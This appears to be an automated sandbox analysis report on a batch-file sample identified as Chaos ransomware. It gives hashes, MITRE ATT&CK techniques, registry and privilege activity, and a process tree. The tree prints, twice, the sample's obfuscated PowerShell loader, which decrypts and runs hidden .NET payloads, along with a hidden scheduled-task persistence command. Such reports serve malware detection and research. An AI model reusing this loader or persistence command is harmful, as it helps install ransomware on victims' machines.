chaos | 51fe4c4bebcaf48cf32c1c5c734e623083d0fcbdcc80c1ce071a4ad6900f95b2

Analysis

max time kernel
106s
max time network
108s
platform
windows10-2004_x64
resource
win10v2004-20250211-en
resource tags

arch:x64arch:x86image:win10v2004-20250211-enlocale:en-usos:windows10-2004-x64system
submitted
16/02/2025, 04:48

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General

Target
sorry.bat
Size 571KB
Sample250216-ffls6asrdn
SHA256 51fe4c4bebcaf48cf32c1c5c734e623083d0fcbdcc80c1ce071a4ad6900f95b2
MD5 ba1d1dcd3b7e5c07de436c36fa885489
SHA1 e12b60b457a35b4924f94421c60484fd9cfd980f
SHA512 89770afb7e802d0e649f40cf8fff1f0dd4d3075a40063c23f0e4143ff5b53084789c5415e1d30a8550fc752424c45e8cde0d19016f49719e76466431d764c422
SSDEEP 12288:PLQhYVPsFzMySs894a27TRxMmL6Urd8mwkM5KAw7tyw6SI6Plr9Yd:0CooT4RRxP6yKmwTKAqyw5drS
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

chaos discovery execution ransomware

Malware Config

Signatures

Chaos
Ransomware family first seen in June 2021.
ransomware chaos

Chaos Ransomware 1 IoCs

resource	yara_rule
behavioral2/memory/1128-141-0x0000020DEB720000-0x0000020DEB7A6000-memory.dmp	family_chaos

Chaos family
chaos

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1520	powershell.exe
4812	powershell.exe
1128	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
31	4780	Process not Found

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system32\SleepStudy\user-not-present-trace-2025-02-16-04-49-40.etl	svchost.exe
File opened for modification	C:\Windows\system32\SleepStudy\user-not-present-trace-2025-02-16-04-49-40.etl	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1332	MicrosoftEdgeUpdate.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 12 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\PCT = "133837615121883369"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\ICT = "133837615124070825"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PCT = "133841549806676268"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2508704002-2325818048-3575902788-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1	svchost.exe

Runs net.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1128	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1520	powershell.exe
1520	powershell.exe
4812	powershell.exe
4812	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeIncreaseQuotaPrivilege	4812	powershell.exe
Token: SeSecurityPrivilege	4812	powershell.exe
Token: SeTakeOwnershipPrivilege	4812	powershell.exe
Token: SeLoadDriverPrivilege	4812	powershell.exe
Token: SeSystemProfilePrivilege	4812	powershell.exe
Token: SeSystemtimePrivilege	4812	powershell.exe
Token: SeProfSingleProcessPrivilege	4812	powershell.exe
Token: SeIncBasePriorityPrivilege	4812	powershell.exe
Token: SeCreatePagefilePrivilege	4812	powershell.exe
Token: SeBackupPrivilege	4812	powershell.exe
Token: SeRestorePrivilege	4812	powershell.exe
Token: SeShutdownPrivilege	4812	powershell.exe
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeSystemEnvironmentPrivilege	4812	powershell.exe
Token: SeRemoteShutdownPrivilege	4812	powershell.exe
Token: SeUndockPrivilege	4812	powershell.exe
Token: SeManageVolumePrivilege	4812	powershell.exe
Token: 33	4812	powershell.exe
Token: 34	4812	powershell.exe
Token: 35	4812	powershell.exe
Token: 36	4812	powershell.exe
Token: SeIncreaseQuotaPrivilege	4812	powershell.exe
Token: SeSecurityPrivilege	4812	powershell.exe
Token: SeTakeOwnershipPrivilege	4812	powershell.exe
Token: SeLoadDriverPrivilege	4812	powershell.exe
Token: SeSystemProfilePrivilege	4812	powershell.exe
Token: SeSystemtimePrivilege	4812	powershell.exe
Token: SeProfSingleProcessPrivilege	4812	powershell.exe
Token: SeIncBasePriorityPrivilege	4812	powershell.exe
Token: SeCreatePagefilePrivilege	4812	powershell.exe
Token: SeBackupPrivilege	4812	powershell.exe
Token: SeRestorePrivilege	4812	powershell.exe
Token: SeShutdownPrivilege	4812	powershell.exe
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeSystemEnvironmentPrivilege	4812	powershell.exe
Token: SeRemoteShutdownPrivilege	4812	powershell.exe
Token: SeUndockPrivilege	4812	powershell.exe
Token: SeManageVolumePrivilege	4812	powershell.exe
Token: 33	4812	powershell.exe
Token: 34	4812	powershell.exe
Token: 35	4812	powershell.exe
Token: 36	4812	powershell.exe
Token: SeIncreaseQuotaPrivilege	4812	powershell.exe
Token: SeSecurityPrivilege	4812	powershell.exe
Token: SeTakeOwnershipPrivilege	4812	powershell.exe
Token: SeLoadDriverPrivilege	4812	powershell.exe
Token: SeSystemProfilePrivilege	4812	powershell.exe
Token: SeSystemtimePrivilege	4812	powershell.exe
Token: SeProfSingleProcessPrivilege	4812	powershell.exe
Token: SeIncBasePriorityPrivilege	4812	powershell.exe
Token: SeCreatePagefilePrivilege	4812	powershell.exe
Token: SeBackupPrivilege	4812	powershell.exe
Token: SeRestorePrivilege	4812	powershell.exe
Token: SeShutdownPrivilege	4812	powershell.exe
Token: SeDebugPrivilege	4812	powershell.exe
Token: SeSystemEnvironmentPrivilege	4812	powershell.exe
Token: SeRemoteShutdownPrivilege	4812	powershell.exe
Token: SeUndockPrivilege	4812	powershell.exe
Token: SeManageVolumePrivilege	4812	powershell.exe
Token: 33	4812	powershell.exe
Token: 34	4812	powershell.exe
Token: 35	4812	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1616 wrote to memory of 516	1616	cmd.exe	89
PID 1616 wrote to memory of 516	1616	cmd.exe	89
PID 516 wrote to memory of 4944	516	net.exe	90
PID 516 wrote to memory of 4944	516	net.exe	90
PID 1616 wrote to memory of 5084	1616	cmd.exe	91
PID 1616 wrote to memory of 5084	1616	cmd.exe	91
PID 1616 wrote to memory of 1520	1616	cmd.exe	92
PID 1616 wrote to memory of 1520	1616	cmd.exe	92
PID 1520 wrote to memory of 4812	1520	powershell.exe	93
PID 1520 wrote to memory of 4812	1520	powershell.exe	93
PID 1520 wrote to memory of 820	1520	powershell.exe	96
PID 1520 wrote to memory of 820	1520	powershell.exe	96
PID 820 wrote to memory of 3108	820	WScript.exe	97
PID 820 wrote to memory of 3108	820	WScript.exe	97
PID 3108 wrote to memory of 5100	3108	cmd.exe	99
PID 3108 wrote to memory of 5100	3108	cmd.exe	99
PID 5100 wrote to memory of 1136	5100	net.exe	100
PID 5100 wrote to memory of 1136	5100	net.exe	100
PID 3108 wrote to memory of 4856	3108	cmd.exe	101
PID 3108 wrote to memory of 4856	3108	cmd.exe	101
PID 3108 wrote to memory of 1128	3108	cmd.exe	102
PID 3108 wrote to memory of 1128	3108	cmd.exe	102
PID 1128 wrote to memory of 3432	1128	powershell.exe	56
PID 1128 wrote to memory of 3544	1128	powershell.exe	57
PID 1128 wrote to memory of 2164	1128	powershell.exe	40
PID 1128 wrote to memory of 784	1128	powershell.exe	8
PID 1128 wrote to memory of 3344	1128	powershell.exe	70
PID 1128 wrote to memory of 2356	1128	powershell.exe	42
PID 1128 wrote to memory of 1368	1128	powershell.exe	23
PID 1128 wrote to memory of 2544	1128	powershell.exe	48
PID 1128 wrote to memory of 2344	1128	powershell.exe	41
PID 1128 wrote to memory of 1948	1128	powershell.exe	35
PID 1128 wrote to memory of 3324	1128	powershell.exe	55
PID 1128 wrote to memory of 1156	1128	powershell.exe	19
PID 1128 wrote to memory of 1744	1128	powershell.exe	54
PID 1128 wrote to memory of 2528	1128	powershell.exe	47
PID 1128 wrote to memory of 2920	1128	powershell.exe	50
PID 1128 wrote to memory of 1736	1128	powershell.exe	31
PID 1128 wrote to memory of 2516	1128	powershell.exe	46
PID 1128 wrote to memory of 1716	1128	powershell.exe	38
PID 1128 wrote to memory of 3880	1128	powershell.exe	75
PID 1128 wrote to memory of 3480	1128	powershell.exe	71
PID 1128 wrote to memory of 2488	1128	powershell.exe	44
PID 1128 wrote to memory of 1060	1128	powershell.exe	18
PID 1128 wrote to memory of 1304	1128	powershell.exe	22
PID 1128 wrote to memory of 900	1128	powershell.exe	11
PID 1128 wrote to memory of 1684	1128	powershell.exe	30
PID 1128 wrote to memory of 1464	1128	powershell.exe	26
PID 1128 wrote to memory of 2052	1128	powershell.exe	39
PID 1128 wrote to memory of 2472	1128	powershell.exe	78
PID 1128 wrote to memory of 1848	1128	powershell.exe	33
PID 1128 wrote to memory of 2436	1128	powershell.exe	43
PID 1128 wrote to memory of 1048	1128	powershell.exe	17
PID 1128 wrote to memory of 1244	1128	powershell.exe	21
PID 1128 wrote to memory of 1832	1128	powershell.exe	32
PID 1128 wrote to memory of 960	1128	powershell.exe	12
PID 1128 wrote to memory of 3596	1128	powershell.exe	74
PID 1128 wrote to memory of 1856	1128	powershell.exe	34
PID 1128 wrote to memory of 1620	1128	powershell.exe	29
PID 1128 wrote to memory of 436	1128	powershell.exe	14
PID 1128 wrote to memory of 1412	1128	powershell.exe	25
PID 1128 wrote to memory of 620	1128	powershell.exe	15
PID 1128 wrote to memory of 1012	1128	powershell.exe	16
PID 1128 wrote to memory of 1400	1128	powershell.exe	24

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Drops file in System32 directory
- Modifies registry class
PID:784
- C:\Windows\system32\backgroundTaskHost.exe
  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
  2⤵
  PID:2036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1304

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1400

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1832

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2516

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:1744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3324

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\sorry.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1616
- - C:\Windows\system32\net.exe
    net file
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:516
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 file
      4⤵
      PID:4944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wl1EGqy7oaJSazTEOdf/7JvkF8QKgTsG3XeLkAaV/5o='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qJzAwbL5GjXtiEc3CRxPtw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DwvDX=New-Object System.IO.MemoryStream(,$param_var); $BWnNj=New-Object System.IO.MemoryStream; $lQdvU=New-Object System.IO.Compression.GZipStream($DwvDX, [IO.Compression.CompressionMode]::Decompress); $lQdvU.CopyTo($BWnNj); $lQdvU.Dispose(); $DwvDX.Dispose(); $BWnNj.Dispose(); $BWnNj.ToArray();}function execute_function($param_var,$param2_var){ $lncrc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uMyUB=$lncrc.EntryPoint; $uMyUB.Invoke($null, $param2_var);}$JQswB = 'C:\Users\Admin\AppData\Local\Temp\sorry.bat';$host.UI.RawUI.WindowTitle = $JQswB;$uMKIz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($JQswB).Split([Environment]::NewLine);foreach ($qJtfD in $uMKIz) { if ($qJtfD.StartsWith('zkquCTbowyBmXupqdEpS')) { $VIlrI=$qJtfD.Substring(20); break; }}$payloads_var=[string[]]$VIlrI.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:5084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_137_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_137.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4812
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_137.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:820
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_137.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3108
      - C:\Windows\system32\net.exe
        
        net file
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5100
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        7⤵
        
        PID:1136
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wl1EGqy7oaJSazTEOdf/7JvkF8QKgTsG3XeLkAaV/5o='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qJzAwbL5GjXtiEc3CRxPtw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DwvDX=New-Object System.IO.MemoryStream(,$param_var); $BWnNj=New-Object System.IO.MemoryStream; $lQdvU=New-Object System.IO.Compression.GZipStream($DwvDX, [IO.Compression.CompressionMode]::Decompress); $lQdvU.CopyTo($BWnNj); $lQdvU.Dispose(); $DwvDX.Dispose(); $BWnNj.Dispose(); $BWnNj.ToArray();}function execute_function($param_var,$param2_var){ $lncrc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uMyUB=$lncrc.EntryPoint; $uMyUB.Invoke($null, $param2_var);}$JQswB = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_137.bat';$host.UI.RawUI.WindowTitle = $JQswB;$uMKIz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($JQswB).Split([Environment]::NewLine);foreach ($qJtfD in $uMKIz) { if ($qJtfD.StartsWith('zkquCTbowyBmXupqdEpS')) { $VIlrI=$qJtfD.Substring(20); break; }}$payloads_var=[string[]]$VIlrI.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:4856
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3544

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3480

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2472

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping 